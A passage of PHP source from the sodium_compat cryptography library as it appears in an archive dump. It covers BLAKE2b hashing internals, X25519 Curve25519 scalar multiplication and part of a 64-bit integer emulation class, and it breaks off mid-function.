function update(SplFixedArray $ctx, SplFixedArray $p, $plen) { self::pseudoConstructor(); $offset = 0; while ($plen > 0) { $left = $ctx[4]; $fill = 256 - $left; if ($plen > $fill) { # memcpy( S->buf + left, in, fill ); /* Fill buffer */ for ($i = $fill; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } # S->buflen += fill; $ctx[4] += $fill; # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES ); self::increment_counter($ctx, 128); # blake2b_compress( S, S->buf ); /* Compress */ self::compress($ctx, $ctx[3]); # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */ for ($i = 128; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } # S->buflen -= BLAKE2B_BLOCKBYTES; $ctx[4] -= 128; # in += fill; $offset += $fill; # inlen -= fill; $plen -= $fill; } else { for ($i = $plen; $i--;) { $ctx[3][$i + $left] = $p[$i + $offset]; } $ctx[4] += $plen; $offset += $plen; $plen -= $plen; } } } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @param SplFixedArray $out * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedArrayOffset * @psalm-suppress MixedMethodCall * @psalm-suppress MixedOperand */ public static function finish(SplFixedArray $ctx, SplFixedArray $out) { self::pseudoConstructor(); if ($ctx[4] > 128) { self::increment_counter($ctx, 128); self::compress($ctx, $ctx[3]); $ctx[4] -= 128; if ($ctx[4] > 128) { throw new SodiumException('Failed to assert that buflen <= 128 bytes'); } for ($i = $ctx[4]; $i--;) { $ctx[3][$i] = $ctx[3][$i + 128]; } } self::increment_counter($ctx, $ctx[4]); $ctx[2][0] = self::new64(0xffffffff, 0xffffffff); for ($i = 256 - $ctx[4]; $i--;) { /** @var int $i */ $ctx[3][$i + $ctx[4]] = 0; } self::compress($ctx, $ctx[3]); $i = (int) (($out->getSize() - 1) / 8); for (; $i >= 0; --$i) { self::store64($out, $i << 3, $ctx[0][$i]); } return $out; } /** * @internal You should not use this directly from another application * * @param SplFixedArray|null $key * @param int $outlen * @param SplFixedArray|null $salt * @param SplFixedArray|null $personal * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedAssignment * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function init( $key = null, $outlen = 64, $salt = null, $personal = null ) { self::pseudoConstructor(); $klen = 0; if ($key !== null) { if (count($key) > 64) { throw new SodiumException('Invalid key size'); } $klen = count($key); } if ($outlen > 64) { throw new SodiumException('Invalid output size'); } $ctx = self::context(); $p = new SplFixedArray(64); // Zero our param buffer... for ($i = 64; --$i;) { $p[$i] = 0; } $p[0] = $outlen; // digest_length $p[1] = $klen; // key_length $p[2] = 1; // fanout $p[3] = 1; // depth if ($salt instanceof SplFixedArray) { // salt: [32] through [47] for ($i = 0; $i < 16; ++$i) { $p[32 + $i] = (int) $salt[$i]; } } if ($personal instanceof SplFixedArray) { // personal: [48] through [63] for ($i = 0; $i < 16; ++$i) { $p[48 + $i] = (int) $personal[$i]; } } $ctx[0][0] = self::xor64( $ctx[0][0], self::load64($p, 0) ); if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) { // We need to do what blake2b_init_param() does: for ($i = 1; $i < 8; ++$i) { $ctx[0][$i] = self::xor64( $ctx[0][$i], self::load64($p, $i << 3) ); } } if ($klen > 0 && $key instanceof SplFixedArray) { $block = new SplFixedArray(128); for ($i = 128; $i--;) { $block[$i] = 0; } for ($i = $klen; $i--;) { $block[$i] = $key[$i]; } self::update($ctx, $block, 128); $ctx[4] = 128; } return $ctx; } /** * Convert a string into an SplFixedArray of integers * * @internal You should not use this directly from another application * * @param string $str * @return SplFixedArray * @psalm-suppress MixedArgumentTypeCoercion */ public static function stringToSplFixedArray($str = '') { $values = unpack('C*', $str); return SplFixedArray::fromArray(array_values($values)); } /** * Convert an SplFixedArray of integers into a string * * @internal You should not use this directly from another application * * @param SplFixedArray $a * @return string */ public static function SplFixedArrayToString(SplFixedArray $a) { /** * @var array */ $arr = $a->toArray(); $c = $a->count(); array_unshift($arr, str_repeat('C', $c)); return (string) (call_user_func_array('pack', $arr)); } /** * @internal You should not use this directly from another application * * @param SplFixedArray $ctx * @return string * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment * @psalm-suppress MixedMethodCall */ public static function contextToString(SplFixedArray $ctx) { $str = ''; /** @var array $ctxA */ $ctxA = $ctx[0]->toArray(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) { throw new TypeError('Not an instance of Int64'); } /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */ $ctxAi = $ctxA[$i]; $str .= $ctxAi->toReverseString(); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { /** @var array $ctxA */ $ctxA = $ctx[$i]->toArray(); /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */ $ctxA1 = $ctxA[0]; /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */ $ctxA2 = $ctxA[1]; $str .= $ctxA1->toReverseString(); $str .= $ctxA2->toReverseString(); } # uint8_t buf[2 * 128]; $str .= self::SplFixedArrayToString($ctx[3]); /** @var int $ctx4 */ $ctx4 = $ctx[4]; # size_t buflen; $str .= implode('', array( self::intToChr($ctx4 & 0xff), self::intToChr(($ctx4 >> 8) & 0xff), self::intToChr(($ctx4 >> 16) & 0xff), self::intToChr(($ctx4 >> 24) & 0xff), "\x00\x00\x00\x00" /* self::intToChr(($ctx4 >> 32) & 0xff), self::intToChr(($ctx4 >> 40) & 0xff), self::intToChr(($ctx4 >> 48) & 0xff), self::intToChr(($ctx4 >> 56) & 0xff) */ )); # uint8_t last_node; return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23); } /** * Creates an SplFixedArray containing other SplFixedArray elements, from * a string (compatible with \Sodium\crypto_generichash_{init, update, final}) * * @internal You should not use this directly from another application * * @param string $string * @return SplFixedArray * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayAssignment */ public static function stringToContext($string) { $ctx = self::context(); # uint64_t h[8]; for ($i = 0; $i < 8; ++$i) { $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, (($i << 3) + 0), 8) ); } # uint64_t t[2]; # uint64_t f[2]; for ($i = 1; $i < 3; ++$i) { $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 72 + (($i - 1) << 4), 8) ); $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString( self::substr($string, 64 + (($i - 1) << 4), 8) ); } # uint8_t buf[2 * 128]; $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256)); # uint8_t buf[2 * 128]; $int = 0; for ($i = 0; $i < 8; ++$i) { $int |= self::chrToInt($string[352 + $i]) << ($i << 3); } $ctx[4] = $int; return $ctx; } } sodium_compat/src/Core32/X25519.php000064400000025442147177035010012575 0ustar00toInt(); $f1 = (int) $f[1]->toInt(); $f2 = (int) $f[2]->toInt(); $f3 = (int) $f[3]->toInt(); $f4 = (int) $f[4]->toInt(); $f5 = (int) $f[5]->toInt(); $f6 = (int) $f[6]->toInt(); $f7 = (int) $f[7]->toInt(); $f8 = (int) $f[8]->toInt(); $f9 = (int) $f[9]->toInt(); $g0 = (int) $g[0]->toInt(); $g1 = (int) $g[1]->toInt(); $g2 = (int) $g[2]->toInt(); $g3 = (int) $g[3]->toInt(); $g4 = (int) $g[4]->toInt(); $g5 = (int) $g[5]->toInt(); $g6 = (int) $g[6]->toInt(); $g7 = (int) $g[7]->toInt(); $g8 = (int) $g[8]->toInt(); $g9 = (int) $g[9]->toInt(); $b = -$b; /** @var int $x0 */ $x0 = ($f0 ^ $g0) & $b; /** @var int $x1 */ $x1 = ($f1 ^ $g1) & $b; /** @var int $x2 */ $x2 = ($f2 ^ $g2) & $b; /** @var int $x3 */ $x3 = ($f3 ^ $g3) & $b; /** @var int $x4 */ $x4 = ($f4 ^ $g4) & $b; /** @var int $x5 */ $x5 = ($f5 ^ $g5) & $b; /** @var int $x6 */ $x6 = ($f6 ^ $g6) & $b; /** @var int $x7 */ $x7 = ($f7 ^ $g7) & $b; /** @var int $x8 */ $x8 = ($f8 ^ $g8) & $b; /** @var int $x9 */ $x9 = ($f9 ^ $g9) & $b; $f[0] = ParagonIE_Sodium_Core32_Int32::fromInt($f0 ^ $x0); $f[1] = ParagonIE_Sodium_Core32_Int32::fromInt($f1 ^ $x1); $f[2] = ParagonIE_Sodium_Core32_Int32::fromInt($f2 ^ $x2); $f[3] = ParagonIE_Sodium_Core32_Int32::fromInt($f3 ^ $x3); $f[4] = ParagonIE_Sodium_Core32_Int32::fromInt($f4 ^ $x4); $f[5] = ParagonIE_Sodium_Core32_Int32::fromInt($f5 ^ $x5); $f[6] = ParagonIE_Sodium_Core32_Int32::fromInt($f6 ^ $x6); $f[7] = ParagonIE_Sodium_Core32_Int32::fromInt($f7 ^ $x7); $f[8] = ParagonIE_Sodium_Core32_Int32::fromInt($f8 ^ $x8); $f[9] = ParagonIE_Sodium_Core32_Int32::fromInt($f9 ^ $x9); $g[0] = ParagonIE_Sodium_Core32_Int32::fromInt($g0 ^ $x0); $g[1] = ParagonIE_Sodium_Core32_Int32::fromInt($g1 ^ $x1); $g[2] = ParagonIE_Sodium_Core32_Int32::fromInt($g2 ^ $x2); $g[3] = ParagonIE_Sodium_Core32_Int32::fromInt($g3 ^ $x3); $g[4] = ParagonIE_Sodium_Core32_Int32::fromInt($g4 ^ $x4); $g[5] = ParagonIE_Sodium_Core32_Int32::fromInt($g5 ^ $x5); $g[6] = ParagonIE_Sodium_Core32_Int32::fromInt($g6 ^ $x6); $g[7] = ParagonIE_Sodium_Core32_Int32::fromInt($g7 ^ $x7); $g[8] = ParagonIE_Sodium_Core32_Int32::fromInt($g8 ^ $x8); $g[9] = ParagonIE_Sodium_Core32_Int32::fromInt($g9 ^ $x9); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment * @psalm-suppress MixedMethodCall */ public static function fe_mul121666(ParagonIE_Sodium_Core32_Curve25519_Fe $f) { /** @var array $h */ $h = array(); for ($i = 0; $i < 10; ++$i) { $h[$i] = $f[$i]->toInt64()->mulInt(121666, 17); } $carry9 = $h[9]->addInt(1 << 24)->shiftRight(25); $h[0] = $h[0]->addInt64($carry9->mulInt(19, 5)); $h[9] = $h[9]->subInt64($carry9->shiftLeft(25)); $carry1 = $h[1]->addInt(1 << 24)->shiftRight(25); $h[2] = $h[2]->addInt64($carry1); $h[1] = $h[1]->subInt64($carry1->shiftLeft(25)); $carry3 = $h[3]->addInt(1 << 24)->shiftRight(25); $h[4] = $h[4]->addInt64($carry3); $h[3] = $h[3]->subInt64($carry3->shiftLeft(25)); $carry5 = $h[5]->addInt(1 << 24)->shiftRight(25); $h[6] = $h[6]->addInt64($carry5); $h[5] = $h[5]->subInt64($carry5->shiftLeft(25)); $carry7 = $h[7]->addInt(1 << 24)->shiftRight(25); $h[8] = $h[8]->addInt64($carry7); $h[7] = $h[7]->subInt64($carry7->shiftLeft(25)); $carry0 = $h[0]->addInt(1 << 25)->shiftRight(26); $h[1] = $h[1]->addInt64($carry0); $h[0] = $h[0]->subInt64($carry0->shiftLeft(26)); $carry2 = $h[2]->addInt(1 << 25)->shiftRight(26); $h[3] = $h[3]->addInt64($carry2); $h[2] = $h[2]->subInt64($carry2->shiftLeft(26)); $carry4 = $h[4]->addInt(1 << 25)->shiftRight(26); $h[5] = $h[5]->addInt64($carry4); $h[4] = $h[4]->subInt64($carry4->shiftLeft(26)); $carry6 = $h[6]->addInt(1 << 25)->shiftRight(26); $h[7] = $h[7]->addInt64($carry6); $h[6] = $h[6]->subInt64($carry6->shiftLeft(26)); $carry8 = $h[8]->addInt(1 << 25)->shiftRight(26); $h[9] = $h[9]->addInt64($carry8); $h[8] = $h[8]->subInt64($carry8->shiftLeft(26)); for ($i = 0; $i < 10; ++$i) { $h[$i] = $h[$i]->toInt32(); } /** @var array $h2 */ $h2 = $h; return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray($h2); } /** * @internal You should not use this directly from another application * * Inline comments preceded by # are from libsodium's ref10 code. * * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10($n, $p) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); # fe_frombytes(x1,p); $x1 = self::fe_frombytes($p); # fe_1(x2); $x2 = self::fe_1(); # fe_0(z2); $z2 = self::fe_0(); # fe_copy(x3,x1); $x3 = self::fe_copy($x1); # fe_1(z3); $z3 = self::fe_1(); # swap = 0; /** @var int $swap */ $swap = 0; # for (pos = 254;pos >= 0;--pos) { for ($pos = 254; $pos >= 0; --$pos) { # b = e[pos / 8] >> (pos & 7); /** @var int $b */ $b = self::chrToInt( $e[(int) floor($pos / 8)] ) >> ($pos & 7); # b &= 1; $b &= 1; # swap ^= b; $swap ^= $b; # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # swap = b; /** @var int $swap */ $swap = $b; # fe_sub(tmp0,x3,z3); $tmp0 = self::fe_sub($x3, $z3); # fe_sub(tmp1,x2,z2); $tmp1 = self::fe_sub($x2, $z2); # fe_add(x2,x2,z2); $x2 = self::fe_add($x2, $z2); # fe_add(z2,x3,z3); $z2 = self::fe_add($x3, $z3); # fe_mul(z3,tmp0,x2); $z3 = self::fe_mul($tmp0, $x2); # fe_mul(z2,z2,tmp1); $z2 = self::fe_mul($z2, $tmp1); # fe_sq(tmp0,tmp1); $tmp0 = self::fe_sq($tmp1); # fe_sq(tmp1,x2); $tmp1 = self::fe_sq($x2); # fe_add(x3,z3,z2); $x3 = self::fe_add($z3, $z2); # fe_sub(z2,z3,z2); $z2 = self::fe_sub($z3, $z2); # fe_mul(x2,tmp1,tmp0); $x2 = self::fe_mul($tmp1, $tmp0); # fe_sub(tmp1,tmp1,tmp0); $tmp1 = self::fe_sub($tmp1, $tmp0); # fe_sq(z2,z2); $z2 = self::fe_sq($z2); # fe_mul121666(z3,tmp1); $z3 = self::fe_mul121666($tmp1); # fe_sq(x3,x3); $x3 = self::fe_sq($x3); # fe_add(tmp0,tmp0,z3); $tmp0 = self::fe_add($tmp0, $z3); # fe_mul(z3,x1,z2); $z3 = self::fe_mul($x1, $z2); # fe_mul(z2,tmp1,tmp0); $z2 = self::fe_mul($tmp1, $tmp0); } # fe_cswap(x2,x3,swap); self::fe_cswap($x2, $x3, $swap); # fe_cswap(z2,z3,swap); self::fe_cswap($z2, $z3, $swap); # fe_invert(z2,z2); $z2 = self::fe_invert($z2); # fe_mul(x2,x2,z2); $x2 = self::fe_mul($x2, $z2); # fe_tobytes(q,x2); return (string) self::fe_tobytes($x2); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY * @param ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ * @return ParagonIE_Sodium_Core32_Curve25519_Fe * @throws SodiumException * @throws TypeError */ public static function edwards_to_montgomery( ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsY, ParagonIE_Sodium_Core32_Curve25519_Fe $edwardsZ ) { $tempX = self::fe_add($edwardsZ, $edwardsY); $tempZ = self::fe_sub($edwardsZ, $edwardsY); $tempZ = self::fe_invert($tempZ); return self::fe_mul($tempX, $tempZ); } /** * @internal You should not use this directly from another application * * @param string $n * @return string * @throws SodiumException * @throws TypeError */ public static function crypto_scalarmult_curve25519_ref10_base($n) { # for (i = 0;i < 32;++i) e[i] = n[i]; $e = '' . $n; # e[0] &= 248; $e[0] = self::intToChr( self::chrToInt($e[0]) & 248 ); # e[31] &= 127; # e[31] |= 64; $e[31] = self::intToChr( (self::chrToInt($e[31]) & 127) | 64 ); $A = self::ge_scalarmult_base($e); if ( !($A->Y instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) || !($A->Z instanceof ParagonIE_Sodium_Core32_Curve25519_Fe) ) { throw new TypeError('Null points encountered'); } $pk = self::edwards_to_montgomery($A->Y, $A->Z); return self::fe_tobytes($pk); } } sodium_compat/src/Core32/Int64.php000064400000074704147177035010012671 0ustar00 - four 16-bit integers */ public $limbs = array(0, 0, 0, 0); /** * @var int */ public $overflow = 0; /** * @var bool */ public $unsignedInt = false; /** * ParagonIE_Sodium_Core32_Int64 constructor. * @param array $array * @param bool $unsignedInt */ public function __construct($array = array(0, 0, 0, 0), $unsignedInt = false) { $this->limbs = array( (int) $array[0], (int) $array[1], (int) $array[2], (int) $array[3] ); $this->overflow = 0; $this->unsignedInt = $unsignedInt; } /** * Adds two int64 objects * * @param ParagonIE_Sodium_Core32_Int64 $addend * @return ParagonIE_Sodium_Core32_Int64 */ public function addInt64(ParagonIE_Sodium_Core32_Int64 $addend) { $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $j0 = $addend->limbs[0]; $j1 = $addend->limbs[1]; $j2 = $addend->limbs[2]; $j3 = $addend->limbs[3]; $r3 = $i3 + ($j3 & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + ($j2 & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + ($j1 & 0xffff) + $carry; $carry = $r1 >> 16; $r0 = $i0 + ($j0 & 0xffff) + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * Adds a normal integer to an int64 object * * @param int $int * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError */ public function addInt($int) { ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); /** @var int $int */ $int = (int) $int; $i0 = $this->limbs[0]; $i1 = $this->limbs[1]; $i2 = $this->limbs[2]; $i3 = $this->limbs[3]; $r3 = $i3 + ($int & 0xffff); $carry = $r3 >> 16; $r2 = $i2 + (($int >> 16) & 0xffff) + $carry; $carry = $r2 >> 16; $r1 = $i1 + $carry; $carry = $r1 >> 16; $r0 = $i0 + $carry; $carry = $r0 >> 16; $r0 &= 0xffff; $r1 &= 0xffff; $r2 &= 0xffff; $r3 &= 0xffff; $return = new ParagonIE_Sodium_Core32_Int64( array($r0, $r1, $r2, $r3) ); $return->overflow = $carry; $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param int $b * @return int */ public function compareInt($b = 0) { $gt = 0; $eq = 1; $i = 4; $j = 0; while ($i > 0) { --$i; /** @var int $x1 */ $x1 = $this->limbs[$i]; /** @var int $x2 */ $x2 = ($b >> ($j << 4)) & 0xffff; /** int */ $gt |= (($x2 - $x1) >> 8) & $eq; /** int */ $eq &= (($x2 ^ $x1) - 1) >> 8; } return ($gt + $gt - $eq) + 1; } /** * @param int $b * @return bool */ public function isGreaterThan($b = 0) { return $this->compareInt($b) > 0; } /** * @param int $b * @return bool */ public function isLessThanInt($b = 0) { return $this->compareInt($b) < 0; } /** * @param int $hi * @param int $lo * @return ParagonIE_Sodium_Core32_Int64 */ public function mask64($hi = 0, $lo = 0) { /** @var int $a */ $a = ($hi >> 16) & 0xffff; /** @var int $b */ $b = ($hi) & 0xffff; /** @var int $c */ $c = ($lo >> 16) & 0xffff; /** @var int $d */ $d = ($lo & 0xffff); return new ParagonIE_Sodium_Core32_Int64( array( $this->limbs[0] & $a, $this->limbs[1] & $b, $this->limbs[2] & $c, $this->limbs[3] & $d ), $this->unsignedInt ); } /** * @param int $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt($int = 0, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulIntFast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1); ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); /** @var int $int */ $int = (int) $int; /** @var int $size */ $size = (int) $size; if (!$size) { $size = 63; } $a = clone $this; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = $size; $i >= 0; --$i) { $mask = -($int & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $int >>= 1; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $A * @param ParagonIE_Sodium_Core32_Int64 $B * @return array * @throws SodiumException * @throws TypeError * @psalm-suppress MixedInferredReturnType */ public static function ctSelect( ParagonIE_Sodium_Core32_Int64 $A, ParagonIE_Sodium_Core32_Int64 $B ) { $a = clone $A; $b = clone $B; /** @var int $aNeg */ $aNeg = ($a->limbs[0] >> 15) & 1; /** @var int $bNeg */ $bNeg = ($b->limbs[0] >> 15) & 1; /** @var int $m */ $m = (-($aNeg & $bNeg)) | 1; /** @var int $swap */ $swap = $bNeg & ~$aNeg; /** @var int $d */ $d = -$swap; /* if ($bNeg && !$aNeg) { $a = clone $int; $b = clone $this; } elseif($bNeg && $aNeg) { $a = $this->mulInt(-1); $b = $int->mulInt(-1); } */ $x = $a->xorInt64($b)->mask64($d, $d); return array( $a->xorInt64($x)->mulInt($m), $b->xorInt64($x)->mulInt($m) ); } /** * @param array $a * @param array $b * @param int $baseLog2 * @return array */ public function multiplyLong(array $a, array $b, $baseLog2 = 16) { $a_l = count($a); $b_l = count($b); /** @var array $r */ $r = array_fill(0, $a_l + $b_l + 1, 0); $base = 1 << $baseLog2; for ($i = 0; $i < $a_l; ++$i) { $a_i = $a[$i]; for ($j = 0; $j < $a_l; ++$j) { $b_j = $b[$j]; $product = (($a_i * $b_j) + $r[$i + $j]); $carry = (((int) $product >> $baseLog2) & 0xffff); $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff; $r[$i + $j + 1] += $carry; } } return array_slice($r, 0, 5); } /** * @param int $int * @return ParagonIE_Sodium_Core32_Int64 */ public function mulIntFast($int) { // Handle negative numbers $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($int >> 31) & 1; $a = array_reverse($this->limbs); $b = array( $int & 0xffff, ($int >> 16) & 0xffff, -$bNeg & 0xffff, -$bNeg & 0xffff ); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } // Multiply $res = $this->multiplyLong($a, $b); // Re-apply negation to results if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = (0xffff ^ $res[$i]) & 0xffff; } // Handle integer overflow $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } // Return our values $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4] & 0xffff; } $return->unsignedInt = $this->unsignedInt; return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $right * @return ParagonIE_Sodium_Core32_Int64 */ public function mulInt64Fast(ParagonIE_Sodium_Core32_Int64 $right) { $aNeg = ($this->limbs[0] >> 15) & 1; $bNeg = ($right->limbs[0] >> 15) & 1; $a = array_reverse($this->limbs); $b = array_reverse($right->limbs); if ($aNeg) { for ($i = 0; $i < 4; ++$i) { $a[$i] = ($a[$i] ^ 0xffff) & 0xffff; } ++$a[0]; } if ($bNeg) { for ($i = 0; $i < 4; ++$i) { $b[$i] = ($b[$i] ^ 0xffff) & 0xffff; } ++$b[0]; } $res = $this->multiplyLong($a, $b); if ($aNeg !== $bNeg) { if ($aNeg !== $bNeg) { for ($i = 0; $i < 4; ++$i) { $res[$i] = ($res[$i] ^ 0xffff) & 0xffff; } $c = 1; for ($i = 0; $i < 4; ++$i) { $res[$i] += $c; $c = $res[$i] >> 16; $res[$i] &= 0xffff; } } } $return = new ParagonIE_Sodium_Core32_Int64(); $return->limbs = array( $res[3] & 0xffff, $res[2] & 0xffff, $res[1] & 0xffff, $res[0] & 0xffff ); if (count($res) > 4) { $return->overflow = $res[4]; } return $return; } /** * @param ParagonIE_Sodium_Core32_Int64 $int * @param int $size * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedAssignment */ public function mulInt64(ParagonIE_Sodium_Core32_Int64 $int, $size = 0) { if (ParagonIE_Sodium_Compat::$fastMult) { return $this->mulInt64Fast($int); } ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2); if (!$size) { $size = 63; } list($a, $b) = self::ctSelect($this, $int); $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; // Initialize: $ret0 = 0; $ret1 = 0; $ret2 = 0; $ret3 = 0; $a0 = $a->limbs[0]; $a1 = $a->limbs[1]; $a2 = $a->limbs[2]; $a3 = $a->limbs[3]; $b0 = $b->limbs[0]; $b1 = $b->limbs[1]; $b2 = $b->limbs[2]; $b3 = $b->limbs[3]; /** @var int $size */ /** @var int $i */ for ($i = (int) $size; $i >= 0; --$i) { $mask = -($b3 & 1); $x0 = $a0 & $mask; $x1 = $a1 & $mask; $x2 = $a2 & $mask; $x3 = $a3 & $mask; $ret3 += $x3; $c = $ret3 >> 16; $ret2 += $x2 + $c; $c = $ret2 >> 16; $ret1 += $x1 + $c; $c = $ret1 >> 16; $ret0 += $x0 + $c; $ret0 &= 0xffff; $ret1 &= 0xffff; $ret2 &= 0xffff; $ret3 &= 0xffff; $a3 = $a3 << 1; $x3 = $a3 >> 16; $a2 = ($a2 << 1) | $x3; $x2 = $a2 >> 16; $a1 = ($a1 << 1) | $x2; $x1 = $a1 >> 16; $a0 = ($a0 << 1) | $x1; $a0 &= 0xffff; $a1 &= 0xffff; $a2 &= 0xffff; $a3 &= 0xffff; $x0 = ($b0 & 1) << 16; $x1 = ($b1 & 1) << 16; $x2 = ($b2 & 1) << 16; $b0 = ($b0 >> 1); $b1 = (($b1 | $x0) >> 1); $b2 = (($b2 | $x1) >> 1); $b3 = (($b3 | $x2) >> 1); $b0 &= 0xffff; $b1 &= 0xffff; $b2 &= 0xffff; $b3 &= 0xffff; } $return->limbs[0] = $ret0; $return->limbs[1] = $ret1; $return->limbs[2] = $ret2; $return->limbs[3] = $ret3; return $return; } /** * OR this 64-bit integer with another. * * @param ParagonIE_Sodium_Core32_Int64 $b * @return ParagonIE_Sodium_Core32_Int64 */ public function orInt64(ParagonIE_Sodium_Core32_Int64 $b) { $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $return->limbs = array( (int) ($this->limbs[0] | $b->limbs[0]), (int) ($this->limbs[1] | $b->limbs[1]), (int) ($this->limbs[2] | $b->limbs[2]), (int) ($this->limbs[3] | $b->limbs[3]) ); return $return; } /** * @param int $c * @return ParagonIE_Sodium_Core32_Int64 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArrayAccess */ public function rotateLeft($c = 0) { ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1); /** @var int $c */ $c = (int) $c; $return = new ParagonIE_Sodium_Core32_Int64(); $return->unsignedInt = $this->unsignedInt; $c &= 63; if ($c === 0) { // NOP, but we want a copy. $return->limbs = $this->limbs; } else { /** @var array $limbs */ $limbs =& $return->limbs; /** @var array $myLimbs */ $myLimbs =& $this->limbs; /** @var int $idx_shift */ $idx_shift = ($c >> 4) & 3; /** @var int $sub_shift */ $sub_shift = $c & 15; for ($i = 3; $i >= 0; --$i) { /** @var int $j */ $j = ($i + $idx_shift) & 3; /** @var int $k */ $k = ($i + $idx_shift + 1) & 3; $limbs[$i] = (int) ( ( ((int) ($myLimbs[$j]) << $sub_shift) | ((int) 